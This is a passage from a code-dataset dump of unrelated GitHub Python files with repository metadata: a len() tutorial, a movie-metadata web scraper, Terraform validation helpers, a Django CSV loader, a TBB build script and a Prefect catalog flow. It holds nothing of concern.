2, 3) panjangnya adalah 3\n\ntestRange = range(1, 10)\nprint('Length of', testRange, 'is', len(testRange))\n# Output : Panjang jangkauan(1, 10) adalah 9\n# ────────────────────────────────────────────────────────────────────────────────\n\n# ─── Contoh 2: Bagaimana Len Bekerja Dengan String Dan Byte ─────────────────────\ntestString = ''\nprint('Length of', testString, 'is', len(testString))\n# Output : Panjangnya adalah 0\n\ntestString = 'Python'\nprint('Length of', testString, 'is', len(testString))\n# Output : Panjang Python adalah 6\n\n# byte object\ntestByte = b'Python'\nprint('Length of', testByte, 'is', len(testByte))\n# Output :Panjang b'Python' adalah 6\n\ntestList = [1, 2, 3]\n# converting to bytes object\ntestByte = bytes(testList)\nprint('Length of', testByte, 'is', len(testByte))\n# Output :Panjang b'\\x01\\x02\\x03' adalah3\n# ────────────────────────────────────────────────────────────────────────────────\n\n\n# ─── Contoh 3: Bagaimana Len Bekerja Dengan Kamus Dan Set ───────────────────────\ntestSet = {1, 2, 3}\nprint(testSet, 'length is', len(testSet))\n# Ouput : {1, 2, 3} panjangnya adalah 3\n\n# Empty Set\ntestSet = set()\nprint(testSet, 'length is', len(testSet))\n# Ouput : set() panjangnya 0\n\ntestDict = {1: 'one', 2: 'two'}\nprint(testDict, 'length is', len(testDict))\n# Ouput : {1: 'one', 2: 'two'} length is 2\n\ntestDict = {}\nprint(testDict, 'length is', len(testDict))\n# Ouput : {} length is 0\n\ntestSet = {1, 2}\n# frozenSet\nfrozenTestSet = frozenset(testSet)\nprint(frozenTestSet, 'length is', len(frozenTestSet))\n# Ouput : frozenset({1, 2}) length is 2\n\n# ────────────────────────────────────────────────────────────────────────────────\n\n\n# ─── Contoh 4: Bagaimana Len Bekerja Untuk Objek Kustom ─────────────────────────\nclass Session:\n def __init__(self, number=0):\n self.number = number\n\n def __len__(self):\n return self.number\n\n\n# default length is 0\ns1 = Session()\nprint(len(s1)) # Output : 0\n\n\n# giving custom length\ns2 = Session(6)\nprint(len(s2)) # Output : 6\n# ────────────────────────────────────────────────────────────────────────────────\n# ────────────────────────────────────────────────────────────────────────────────\n","repo_name":"risqiraa/Learn-Language","sub_path":"Challenge/Python/Python-Challenge-RRA/Day 2/Fungsi Bawaan PY/done/len.py","file_name":"len.py","file_ext":"py","file_size_in_byte":4717,"program_lang":"python","lang":"id","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"33000975502","text":"# First we need to import important libraries from the package, if you didn't intall before please install them from the packages\r\nfrom selenium import webdriver\r\nimport requests\r\nimport pandas as pd\r\nimport numpy as np\r\nimport re #regular expression\r\nfrom bs4 import BeautifulSoup\r\nimport time\r\n\r\ndata1 = pd.DataFrame()\r\n# Please replace the path to the Chrome web driver in the function below\r\ndriver = webdriver.Chrome(r'C:\\Users\\Baku\\Downloads\\chromedriver_win32\\chromedriver')\r\nfrom selenium.webdriver.chrome.options import Options\r\n# Please replace the path to the Chrome web driver in the function below\r\nexecutable_path = r'C:\\Users\\Baku\\Downloads\\chromedriver_win32\\chromedriver'\r\n\r\nchrome_options = Options()\r\n# Please replace the path to the uBlock Origin browser extension in the function below\r\nchrome_options.add_extension(r'C:\\Users\\Baku\\.jupyter\\uBlock-Origin.zip')\r\n\r\ndriver = webdriver.Chrome(executable_path=executable_path, chrome_options=chrome_options)\r\ndriver.get('https://hdtoday.tv')\r\ndriver.find_element(\"css selector\", '#xheader_menu > ul.header_menu-list > li:nth-child(2) > a').click()\r\ndriver.switch_to.window(driver.window_handles[0])\r\n\r\n# Here we are select hte page range, you can select any page number\r\nfor page_num in range(20, 100):\r\n try:\r\n url11 = driver.current_url +\"?page=\"+str(page_num)\r\n\r\n driver.get(url11)\r\n\r\n all_links = []\r\n for link in BeautifulSoup(driver.page_source,features=\"html.parser\").findAll('a'):\r\n all_links.append(link.get('href'))\r\n\r\n head = 'https://hdtoday.tv/'\r\n links = all_links[154:-16:2]\r\n\r\n for i in range(len(links)):\r\n\r\n main_url = head + links[i]\r\n\r\n page_inside = requests.get(main_url)\r\n html_1 = BeautifulSoup(page_inside.content, 'html.parser')\r\n\r\n movie_info = html_1.find_all('div', class_ = 'row')\r\n\r\n movie_info_name = html_1.find_all('h2', class_ = 'heading-name')\r\n\r\n movie_info_imdb = html_1.find_all('span', class_ = 'item mr-2')\r\n\r\n movie_info_1 = re.sub('<[^>]+>', '', str(movie_info)).replace('\\n','').replace(' ','')\r\n# Here we are getting the main data from the website:\r\n imdb = re.sub('<[^>]+>', '', str(movie_info_imdb)).replace('[','').replace(']','').replace('IMDB: ','')\r\n movie_name = re.sub('<[^>]+>', '', str(movie_info_name)).replace('[','').replace(']','')\r\n releasedate = movie_info_1[movie_info_1.find('Released')+9:movie_info_1.find(\"Genre\")]\r\n genres = movie_info_1[movie_info_1.find('Genre')+6:movie_info_1.find(\"Casts\")]\r\n casts = movie_info_1[movie_info_1.find('Casts')+6:movie_info_1.find(\"Duration\")]\r\n duration = movie_info_1[movie_info_1.find('Duration')+9:movie_info_1.find(\"Country\")-3]\r\n country = movie_info_1[movie_info_1.find('Country')+8:movie_info_1.find(\"Production\")]\r\n\r\n# Here we are creating the our dataset with that data from website\r\n data1 = data1.append({\r\n 'Name':movie_name,\r\n 'Release_Date':releasedate,\r\n 'Genre':genres,\r\n 'Cast':casts,\r\n 'Duration':duration,\r\n 'Country':country,\r\n 'IMDB':imdb},ignore_index=True)\r\n\r\n except BaseException as error:\r\n print(error)\r\n\r\n data1['Duration'] = pd.to_numeric(data1['Duration'], errors='coerce')\r\n data1 = data1[data1['Duration'].notna()]\r\n\r\n # determining the name of the file\r\n file_name = '1MovieData.xlsx'\r\n\r\n # saving the excel\r\n data1.to_excel(file_name)\r\n #print(data1.head())\r\n\r\n\r\n\r\n\r\n","repo_name":"ElvinShirinov/Web-Scraping-and-Social-Media-Scraping-project--https-hdtoday.tv-","sub_path":"Selenium/Selenium_By_ElvinShirinov.py","file_name":"Selenium_By_ElvinShirinov.py","file_ext":"py","file_size_in_byte":3633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"36634856150","text":"import logging\n\nimport m2c2_utils as utils\nimport protocol.m2c2_slmp as slmp\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n\ndef get(user_request):\n if utils.get_metadata(\"protocol\",user_request,0) == \"slmp\":\n return slmp.create_job(user_request)\n elif utils.get_metadata(\"protocol\",user_request,0) == \"opcda\":\n return user_request\n # add link to job builder for new protocol\n return 0","repo_name":"bscottcassell/machine-to-cloud-connectivity-framework","sub_path":"source/job-builder/m2c2-job-builder/protocol/m2c2_job.py","file_name":"m2c2_job.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"62"} +{"seq_id":"40599631009","text":"import re\nfrom pathlib2 import Path\nfrom pathlib2 import Path\nimport os\nimport hcl\nimport re\nimport json\nimport yaml\n\nclass CouldNotFindOrReadFile(Exception): pass\n\ndef global_split(string):\n return re.split(r'\\\\|/', string)\n\ndef generate_location(index):\n return str(Path(__file__).parents[index])\n\ndef get_main_yaml_vars():\n \n with open(generate_location(2) + '/validate-code/configs/main.yml') as file:\n yaml_dict = yaml.safe_load(file)\n return yaml_dict\n\ndef get_tf_module(tf_dict):\n module = tf_dict.get('module')\n if not module:\n return {}\n \n module_name = list(module.keys())[0]\n\n module_dict = module.get(module_name)\n if module_dict:\n return module_dict\n else:\n return {}\n\ndef is_step_function(tf_module):\n if tf_module.get('step_function_definition'):\n return True\n return False\n\ndef get_list_of_lambda_paths():\n lambda_paths = []\n lambda_directory = get_main_yaml_vars()['path_to_lambdas']\n for (dirpath, dirnames, filenames) in os.walk(generate_location(3) + lambda_directory):\n if os.path.exists(dirpath +\"/index.py\"):\n lambda_paths.append(lambda_directory + dirpath.split(\"lambdas/\")[1])\n return lambda_paths\n\ndef get_terraform_from_sub_module(file_path):\n pass\n\ndef get_dict_of_terraform_dicts():\n terraform_dicts = {}\n terraform_dicts_with_path = {}\n location = generate_location(3)\n terraform_path = '/terraform'\n for (dirpath, dirnames, filenames) in os.walk(location + terraform_path):\n #\n # terraform/\n # > api_stuff\n # get_lambdas.tf\n # this_module\n # get_lambdas.tf\n # this_module\n #\n for name in filenames:\n tf_filepath = os.path.join(dirpath, name)\n if tf_filepath.endswith('.tf'):\n with open(tf_filepath) as file:\n result = hcl.load(file)\n terraform_dicts[name] = result\n terraform_dicts_with_path[tf_filepath] = result\n return terraform_dicts, terraform_dicts_with_path\n\n\ndef get_paths_to_lambdas_from_locals_file() -> dict:\n name_to_path = {}\n try:\n with open(f'{generate_location(3)}/terraform/locals.tf') as file:\n terraform_dict = hcl.load(file)\n locals_dict = terraform_dict['locals']\n for key, value in locals_dict.items():\n if key.split('_')[-1] == 'path':\n unparsed_path = re.search(\"/lambdas/(.*?).zip\", value).group(1)\n unparsed_path = unparsed_path.split('/')\n unparsed_path.pop()\n # path = get_main_yaml_vars()['path_to_lambdas']\n # for string in unparsed_path:\n # path += (string + '/')\n # path += 'index.py'\n path = unparsed_path[-1] + '/index.py'\n\n if path:\n name_to_path[key] = path\n\n except:\n raise CouldNotFindOrReadFile('Could Not Read Locals File')\n\n return name_to_path\n\n\ndef make_module_name_to_lambda_path_dict():\n path_dict = {}\n try:\n for filename in os.listdir(f'{generate_location(3)}/terraform'):\n filepath = os.path.join(f'{generate_location(3)}/terraform', filename)\n if os.path.isfile(filepath) and filename.split('-')[0] == 'lambda':\n with open(filepath) as file:\n terraform_dict = hcl.load(file)\n module_name = list(terraform_dict['module'].keys())[0]\n unparsed_path = terraform_dict['module'][module_name]['filename']\n path = unparsed_path.split('.')[1]\n\n path_dict[module_name] = path\n except:\n raise CouldNotFindOrReadFile('Could not find or read terraform directory')\n return path_dict\n\n\ndef get_lambda_handler_from_file(filepath):\n lambda_handler = []\n try:\n with open(f'{generate_location(3)}/{filepath}') as file:\n lines = file.readlines()\n copy_line = False\n for line in lines:\n if copy_line is False and 'def lambda_handler(' in line:\n copy_line = True\n elif copy_line is True and len(line) > 0 and line[0].isalpha():\n return lambda_handler\n\n if copy_line:\n line = line.strip()\n lambda_handler.append(line)\n except:\n raise CouldNotFindOrReadFile('Could not read python file.')\n return lambda_handler\n\n\nclass StepFunction:\n def __init__(self, filename, tf_module, ignore_generics=True):\n self.filename = filename\n self.function_text = tf_module['step_function_definition']\n self.lambda_permissions = self.__extract_lambda_permissions(tf_module)\n self.subroutine_permissions = self.__extract_subroutine_permissions(tf_module)\n self.lambdas_used, self.subroutines_used = self.__extract_used_lambdas_and_subroutines(self.function_text)\n\n self.ignore_generics = ignore_generics\n self.is_generic = self.check_if_generic(self.function_text)\n\n\n\n def __extract_lambda_permissions(self, tf_module):\n lambda_permissions = set()\n\n step_function_lambdas = tf_module.get('step_function_lambdas')\n step_function_lambda_arns = tf_module.get('step_function_lambda_arns')\n\n if step_function_lambdas is None:\n step_function_lambdas = []\n if step_function_lambda_arns is None:\n step_function_lambda_arns = []\n\n for permission in step_function_lambdas:\n module, name, type = permission.split('.')\n lambda_permissions.add(name)\n for permission in step_function_lambda_arns:\n module, name, type = permission.split('.')\n lambda_permissions.add(name)\n\n return lambda_permissions\n\n def __extract_subroutine_permissions(self, tf_module):\n subroutine_permissions = set()\n\n subroutine_arns = tf_module.get('step_function_subroutine_arns')\n if subroutine_arns:\n for permission in subroutine_arns:\n module, name, type = permission.split('.')\n subroutine_permissions.add(name)\n \n\n return subroutine_permissions\n\n def __extract_used_lambdas_and_subroutines(self, function_text):\n lambdas_used = set()\n subroutines_used = set()\n\n lines = function_text.split('\\n')\n for line in lines:\n lambda_results = re.search(\"module.(.*?).function_name\", line)\n if lambda_results:\n lambdas_used.add(lambda_results.group(1))\n subroutine_result = re.search(\"module.(.*?).step_function_arn\", line)\n if subroutine_result:\n subroutines_used.add(subroutine_result.group(1))\n return (lambdas_used, subroutines_used)\n\n def check_if_generic(self, function_text):\n lines = function_text.split('\\n')\n for line in lines:\n if \"FunctionName.$\" in line:\n return True\n return False\n \n def generate_unused_permission_message(self):\n message = ''\n\n if self.ignore_generics and self.is_generic:\n return message\n\n unused_lambdas = self.lambda_permissions - self.lambdas_used\n unused_subroutines = self.subroutine_permissions - self.subroutines_used\n\n if unused_lambdas or unused_subroutines:\n message += f'\\nFile: {self.filename}'\n\n if unused_lambdas:\n message += f'\\nNot Using These Lambda Permissions:'\n for permission in unused_lambdas:\n message += f'\\n\\t{permission}'\n\n if unused_subroutines:\n message += f'\\nNot Using These Subroutines Permissions:'\n for permission in unused_subroutines:\n message += f'\\n\\t{permission}'\n\n return message\n\n def generate_lambdas_used_without_permission_message(self):\n message = ''\n\n lambdas_without_permission = self.lambdas_used - self.lambda_permissions\n subroutines_without_permission = self.subroutines_used - self.subroutine_permissions\n\n if lambdas_without_permission or subroutines_without_permission:\n message += f'\\nFile: {self.filename}'\n\n if lambdas_without_permission:\n message += f'\\nLambdas used without permission:'\n for permission in lambdas_without_permission:\n message += f'\\n\\t{permission}'\n\n if subroutines_without_permission:\n message += f'\\nSubroutines used without permission:'\n for permission in subroutines_without_permission:\n message += f'\\n\\t{permission}'\n\n return message\n\n def generate_invalid_json_message(self):\n message = ''\n\n try:\n json.loads(self.function_text)\n except ValueError as error:\n message += f'\\nFile: {self.filename}'\n message += f'\\nInvalid JSON detected'\n message += f'\\n{error}'\n\n return message\n","repo_name":"Caleb-R-S/external-code-validation","sub_path":"commons/validation_tools.py","file_name":"validation_tools.py","file_ext":"py","file_size_in_byte":9102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"42554128443","text":"import cv2 as cv\r\nimport numpy as np\r\n\r\nblank=np.zeros((500,500),dtype=\"uint8\")\r\ncv.imshow('bblank',blank)\r\n\r\ndef resizedas(frame,scale=0.5):\r\n width=int(frame.shape[1] * scale)\r\n height=int(frame.shape[0] * scale)\r\n dimensions=(width,height)\r\n return cv.resize(frame,dimensions,interpolation=cv.INTER_AREA)\r\nimg=cv.imread('photos/photo.jpg')\r\n\r\nresiz=resizedas(img,scale=0.1)\r\ncv.imshow('cat',resiz)\r\ncv.waitKey(0)","repo_name":"25sudharsan27/opencv","sub_path":"practice3.py","file_name":"practice3.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"30033601458","text":"from __future__ import print_function\nimport os\nimport re\nimport sys\nimport shutil\nimport platform\nimport argparse\nfrom glob import glob\nfrom collections import OrderedDict\n\njp = os.path.join\nis_win = (platform.system() == 'Windows')\nis_lin = (platform.system() == 'Linux')\nis_mac = (platform.system() == 'Darwin')\n\ndefault_prefix = os.getenv('PREFIX', 'install_prefix')\nif is_win:\n default_prefix = jp(default_prefix, 'Library') # conda-specific by default on Windows\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--tbbroot', default='.', help='Take Intel TBB from here')\nparser.add_argument('--prefix', default=default_prefix, help='Prefix')\nparser.add_argument('--prebuilt', default=[], action='append', help='Directories to find prebuilt files')\nparser.add_argument('--no-rebuild', default=False, action='store_true', help='do not rebuild')\nparser.add_argument('--install', default=False, action='store_true', help='install all')\nparser.add_argument('--install-libs', default=False, action='store_true', help='install libs')\nparser.add_argument('--install-devel', default=False, action='store_true', help='install devel')\nparser.add_argument('--install-docs', default=False, action='store_true', help='install docs')\nparser.add_argument('--install-python',default=False, action='store_true', help='install python module')\nparser.add_argument('--make-tool', default='make', help='Use different make command instead')\nparser.add_argument('--copy-tool', default=None, help='Use this command for copying ($ tool file dest-dir)')\nparser.add_argument('--build-args', default=\"\", help='specify extra build args')\nparser.add_argument('--build-prefix', default='local', help='build dir prefix')\nif is_win:\n parser.add_argument('--msbuild', default=False, action='store_true', help='Use msbuild')\n parser.add_argument('--vs', default=\"2012\", help='select VS version for build')\n parser.add_argument('--vs-platform', default=\"x64\", help='select VS platform for build')\nparser.add_argument('ignore', nargs='?', help=\"workaround conda-build issue #2512\")\n\nargs = parser.parse_args()\n\nif args.install:\n args.install_libs = True\n args.install_devel = True\n args.install_docs = True\n args.install_python= True\n\ndef custom_cp(src, dst):\n assert os.system(' '.join([args.copy_tool, src, dst])) == 0\n\nif args.copy_tool:\n install_cp = custom_cp # e.g. to use install -p -D -m 755 on Linux\nelse:\n install_cp = shutil.copy\n\nbin_dir = jp(args.prefix, \"bin\")\nlib_dir = jp(args.prefix, \"lib\")\ninc_dir = jp(args.prefix, 'include')\ndoc_dir = jp(args.prefix, 'share', 'doc', 'tbb')\nif is_win:\n os.environ[\"OS\"] = \"Windows_NT\" # make sure TBB will interpret it corretly\n libext = '.dll'\n libpref = ''\n dll_dir = bin_dir\nelse:\n libext = '.dylib' if is_mac else '.so.2'\n libpref = 'lib'\n dll_dir = lib_dir\n\ntbb_names = [\"tbb\", \"tbbmalloc\", \"tbbmalloc_proxy\"]\n\n##############################################################\n\ndef run_make(arg):\n if os.system('%s -j %s'% (args.make_tool, arg)) != 0:\n print(\"\\nBummer. Running serial build in order to recover the log and have a chance to fix the build\")\n assert os.system('%s %s'% (args.make_tool, arg)) == 0\n\nos.chdir(args.tbbroot)\nif args.prebuilt:\n release_dirs = sum([glob(d) for d in args.prebuilt], [])\n print(\"Using pre-built files from \", release_dirs)\nelse:\n if is_win and args.msbuild:\n preview_release_dir = release_dir = jp(args.tbbroot, 'build', 'vs'+args.vs, args.vs_platform, 'Release')\n if not args.no_rebuild or not os.path.isdir(release_dir):\n assert os.system('msbuild /m /p:Platform=%s /p:Configuration=Release %s build/vs%s/makefile.sln'% \\\n (args.vs_platform, args.build_args, args.vs)) == 0\n preview_debug_dir = debug_dir = jp(args.tbbroot, 'build', 'vs'+args.vs, args.vs_platform, 'Debug')\n if not args.no_rebuild or not os.path.isdir(debug_dir):\n assert os.system('msbuild /m /p:Platform=%s /p:Configuration=Debug %s build/vs%s/makefile.sln'% \\\n (args.vs_platform, args.build_args, args.vs)) == 0\n else:\n release_dir = jp(args.tbbroot, 'build', args.build_prefix+'_release')\n debug_dir = jp(args.tbbroot, 'build', args.build_prefix+'_debug')\n if not args.no_rebuild or not (os.path.isdir(release_dir) and os.path.isdir(debug_dir)):\n run_make('tbb_build_prefix=%s %s'% (args.build_prefix, args.build_args))\n preview_release_dir = jp(args.tbbroot, 'build', args.build_prefix+'_preview_release')\n preview_debug_dir = jp(args.tbbroot, 'build', args.build_prefix+'_preview_debug')\n if not args.no_rebuild or not (os.path.isdir(preview_release_dir) and os.path.isdir(preview_debug_dir)):\n run_make('tbb_build_prefix=%s_preview %s tbb_cpf=1 tbb'% (args.build_prefix, args.build_args))\n release_dirs = [release_dir, debug_dir, preview_release_dir, preview_debug_dir]\n\nfilemap = OrderedDict()\ndef append_files(names, dst, paths=release_dirs):\n global filemap\n files = sum([glob(jp(d, f)) for d in paths for f in names], [])\n filemap.update(dict(zip(files, [dst]*len(files))))\n\n\nif args.install_libs:\n append_files([libpref+f+libext for f in tbb_names], dll_dir)\n\nif args.install_devel:\n dll_files = [libpref+f+'_debug'+libext for f in tbb_names] # adding debug libraries\n if not is_win or not args.msbuild:\n dll_files += [libpref+\"tbb_preview\"+libext, libpref+\"tbb_preview_debug\"+libext]\n if is_win:\n dll_files += ['tbb*.pdb'] # copying debug info\n if is_lin:\n dll_files += ['libtbb*.so'] # copying linker scripts\n # symlinks .so -> .so.2 should not be created instead\n # since linking with -ltbb when using links can result in\n # incorrect dependence upon unversioned .so files\n append_files(dll_files, dll_dir)\n if is_win:\n append_files(['*.lib', '*.def'], lib_dir) # copying linker libs and defs\n for rootdir, dirnames, filenames in os.walk(jp(args.tbbroot,'include')):\n files = [f for f in filenames if not '.html' in f]\n append_files(files, jp(inc_dir, rootdir.split('include')[1][1:]), paths=(rootdir,))\n\nif args.install_python: # RML part\n irml_dir = jp(args.tbbroot, 'build', args.build_prefix+'_release')\n run_make('-C src tbb_build_prefix=%s %s python_rml'% (args.build_prefix, args.build_args))\n if is_lin:\n append_files(['libirml.so.1'], dll_dir, paths=[irml_dir])\n\nif args.install_docs:\n files = [\n 'CHANGES',\n 'LICENSE',\n 'README',\n 'README.md',\n 'Release_Notes.txt',\n ]\n append_files(files, doc_dir, paths=release_dirs+[jp(args.tbbroot, d) for d in ('.', 'doc')])\n\nfor f in filemap.keys():\n assert os.path.exists(f)\n assert os.path.isfile(f)\n\nif filemap:\n print(\"Copying to prefix =\", args.prefix)\nfor f, dest in filemap.items():\n if not os.path.isdir(dest):\n os.makedirs(dest)\n print(\"+ %s to $prefix%s\"%(f,dest.replace(args.prefix, '')))\n install_cp(f, dest)\n\nif args.install_python: # Python part\n paths = [os.path.abspath(d) for d in (args.prefix, irml_dir, lib_dir, inc_dir)]\n os.environ[\"TBBROOT\"] = paths[0]\n # all the paths must be relative to python/ directory or be absolute\n assert os.system('python python/setup.py build -b%s build_ext -L%s:%s -I%s install -f'% \\\n (paths[1], paths[2], paths[1], paths[3])) == 0 # add install location? windows needs pythnon/Library location separation\n\nprint(\"done\")\n","repo_name":"facebook/hhvm","sub_path":"third-party/tbb/src/build/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":7720,"program_lang":"python","lang":"en","doc_type":"code","stars":17852,"dataset":"github-code","pt":"62"} +{"seq_id":"39196451622","text":"# https://www.acmicpc.net/problem/17255\nimport sys\nsi = sys.stdin.readline\n\ndef dfs(s):\n L = set(list(s))\n if len(L) == 1:\n return 1\n \n ret = 0\n ret += dfs(s[1:])\n ret += dfs(s[:-1])\n return ret\n\nif __name__ == '__main__':\n n = si().strip()\n print(dfs(n))","repo_name":"punkryn/ryu_algo","sub_path":"0709/n으로만들기.py","file_name":"n으로만들기.py","file_ext":"py","file_size_in_byte":289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"72010928199","text":"# -*- coding: utf-8 -*-\nimport csv\nfrom optparse import make_option\nimport os\n\nfrom django.conf import settings\nfrom django.core.management.base import BaseCommand, CommandError\n\nfrom editor.models import Source\n\n\nclass Command(BaseCommand):\n help = 'Loads editor/data/sources.csv to the database.'\n option_list = BaseCommand.option_list + (\n make_option(\n '--delete',\n action='store_true',\n dest='delete',\n default=False,\n help='Delete all existing sources'),\n )\n\n def __init__(self, *args, **kwargs):\n super(Command, self).__init__(*args, **kwargs)\n self.id_map = {}\n\n def _create_node(self, node, verbosity=1):\n \"\"\" Creates node and returns it. \"\"\"\n if verbosity > 0:\n self.stdout.write('Starting to create %s node' % node['unique_name'])\n\n # find parent node.\n if node['parent_id']:\n parent = self.id_map[node['parent_id']].get('instance')\n if not parent:\n # parent instance was not created yet\n parent = self._create_node(\n self.id_map[node['parent_id']], verbosity=verbosity)\n else:\n # root node found\n parent = None\n\n # get or create current node.\n try:\n node_instance = Source.objects.get(name=node['unique_name'])\n except Source.DoesNotExist:\n node_instance = Source.objects.create(\n name=node['unique_name'],\n parent=parent,\n abbreviation=node['abbreviation'],\n domain=node['domain'],\n homepage=node['homepage'],\n about=node['about'])\n self.id_map[node['id']]['instance'] = node_instance\n\n # some validation\n assert node_instance.name == node['unique_name']\n if node_instance.parent:\n assert node_instance.parent.name == self.id_map[node['parent_id']]['unique_name']\n\n if verbosity > 0:\n self.stdout.write('Node %s created' % node['unique_name'])\n return node_instance\n\n def handle(self, *args, **options):\n verbosity = options.get('verbosity', 1)\n if verbosity > 0:\n self.stdout.write('Starting to load sources...')\n\n sources = os.path.join(\n settings.BASE_DIR, '../', 'editor', 'data', 'sources.csv')\n\n if options['delete']:\n if verbosity > 0:\n self.stdout.write('Deleting all existing sources...')\n Source.objects.all().delete()\n if verbosity > 0:\n self.stdout.write('All existing sources deleted.')\n else:\n if Source.objects.all().exists():\n raise CommandError(\n 'Source model has existing instances. To delete them'\n ' give --delete option. Warning: this will delete all datasets too.')\n\n with open(sources) as csvfile:\n reader = csv.DictReader(csvfile)\n for row in reader:\n # add unique name to properly process repeated names\n row['unique_name'] = '%s|%s' % (row['name'], row['id'])\n self.id_map[row['id']] = row\n\n for node in self.id_map.values():\n if Source.objects.filter(name=node['unique_name']).exists():\n if verbosity > 0:\n self.stdout.write(\n 'Node %s already exists. Do nothing.' % node['unique_name'])\n continue\n self._create_node(node, verbosity=verbosity)\n\n Source.objects.rebuild()\n\n if verbosity > 0:\n self.stdout.write('Removing csv id from name...')\n for source in Source.objects.all():\n source.name = source.name.split('|')[0]\n source.save()\n\n if verbosity > 0:\n self.stdout.write('Done.')\n","repo_name":"CivicSpleen/metaeditor","sub_path":"editor/management/commands/load_sources.py","file_name":"load_sources.py","file_ext":"py","file_size_in_byte":3893,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"26000602889","text":"import pandas as pd\n\n# read result\nHanover = pd.read_csv(\"Hanover_Hamburg/Hanover_Hamburg_color_vec.csv\")\nNuremberg = pd.read_csv(\"Nuremberg_Hamburg/Nuremberg_Hamburg_color_vec.csv\")\n\n# count human_check == 1 and caculate accuracy\nHanover_HumanCheck = len(Hanover[Hanover['human_check'] == 1])\nNuremberg_HumanCheck = len(Nuremberg[Nuremberg['human_check'] == 1])\n\ntotal = Hanover_HumanCheck + Nuremberg_HumanCheck\nacc = total / (len(Hanover) + len(Nuremberg))\n\nprint(total)\nprint(len(Hanover) + len(Nuremberg))\nprint(acc)\n\n\n","repo_name":"AlexwellChen/DAT295-Road-pattern-matching","sub_path":"ValidateTool/validate_imgs/result.py","file_name":"result.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"14640904977","text":"from django.urls import path,include\nfrom .views import home,products,ordersummaryview,payement\nfrom .views import (addtocart,product,checkout,remove_from_cart,remove_item_cart)\nfrom . import views\nfrom . import models\nfrom . import forms\n\napp_name = 'core'\n\nurlpatterns = [\n path('',home.as_view(),name='home'),\n path('product/',views.product,name='product'),\n path('checkout/',checkout.as_view(),name='checkout'),\n path('products//', products.as_view(), name='products'),\n path('addtocart//', addtocart, name='addtocart'),\n path('remove_from_cart//', remove_from_cart, name='remove_from_cart'),\n path('register/',views.register_id,name='register'),\n path('login/',views.login_id,name='login'),\n path('logout/',views.logout_user,name='logout'),\n path('ordersummaryview/',ordersummaryview.as_view(),name='ordersummaryview'),\n path('remove_item_cart//',views.remove_item_cart, name='remove_item_cart'),\n path('payement/',payement.as_view(),name='payement'),\n \n \n \n\n]\n\n","repo_name":"vaishnavkm/material_design","sub_path":"home/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"21153359916","text":"import numpy as np\n\n\ndef matrix_product(lhs, rhs):\n M, N = lhs.shape\n N, Q = rhs.shape\n res = np.zeros((M, Q), lhs.dtype)\n\n for i in range(N):\n for j in range(M):\n for k in range(Q):\n res[j, k] += lhs[j, i] * rhs[i, k]\n return res\n","repo_name":"vadimadr/python-algorithms","sub_path":"algorithms/linalg.py","file_name":"linalg.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"74277200837","text":"# -*- coding: utf-8 -*-\n\"\"\"\nFlow definition for generating a data catalog from BigQuery.\n\"\"\"\nfrom prefect import Parameter\nfrom prefect.run_configs import KubernetesRun\nfrom prefect.storage import GCS\nfrom prefect.utilities.edges import unmapped\n\nfrom pipelines.constants import constants\nfrom pipelines.rj_escritorio.data_catalog.schedules import update_data_catalog_schedule\nfrom pipelines.rj_escritorio.data_catalog.tasks import (\n generate_dataframe_from_list_of_tables,\n list_projects,\n list_tables,\n merge_list_of_list_of_tables,\n update_gsheets_data_catalog,\n)\nfrom pipelines.rj_escritorio.notify_flooding.tasks import (\n parse_comma_separated_string_to_list,\n)\nfrom pipelines.utils.decorators import Flow\n\nwith Flow(\n name=\"EMD: utils - Gerar catálogo de dados\",\n code_owners=[\n \"gabriel\",\n \"diego\",\n ],\n) as rj_escritorio_data_catalog_flow:\n # Parameters\n spreadsheet_url = Parameter(\"spreadsheet_url\")\n sheet_name = Parameter(\"sheet_name\")\n bq_client_mode = Parameter(\"bq_client_mode\", default=\"prod\")\n exclude_dev_projects = Parameter(\"exclude_dev_projects\", default=True)\n exclude_staging = Parameter(\"exclude_staging\", default=True)\n exclude_test = Parameter(\"exclude_test\", default=True)\n exclude_logs = Parameter(\"exclude_logs\", default=True)\n\n # Flow\n project_ids = list_projects(mode=bq_client_mode, exclude_dev=exclude_dev_projects)\n list_of_list_of_tables = list_tables.map(\n project_id=project_ids,\n mode=unmapped(bq_client_mode),\n exclude_staging=unmapped(exclude_staging),\n exclude_test=unmapped(exclude_test),\n exclude_logs=unmapped(exclude_logs),\n )\n list_of_tables = merge_list_of_list_of_tables(list_of_list_of_tables)\n dataframe = generate_dataframe_from_list_of_tables(list_of_tables)\n update_gsheets_data_catalog(\n dataframe=dataframe,\n spreadsheet_url=spreadsheet_url,\n sheet_name=sheet_name,\n )\n\n\nrj_escritorio_data_catalog_flow.storage = GCS(constants.GCS_FLOWS_BUCKET.value)\nrj_escritorio_data_catalog_flow.run_config = KubernetesRun(\n image=constants.DOCKER_IMAGE.value,\n labels=[constants.RJ_ESCRITORIO_DEV_AGENT_LABEL.value],\n)\nrj_escritorio_data_catalog_flow.schedule = update_data_catalog_schedule\n","repo_name":"prefeitura-rio/pipelines","sub_path":"pipelines/rj_escritorio/data_catalog/flows.py","file_name":"flows.py","file_ext":"py","file_size_in_byte":2288,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"62"} 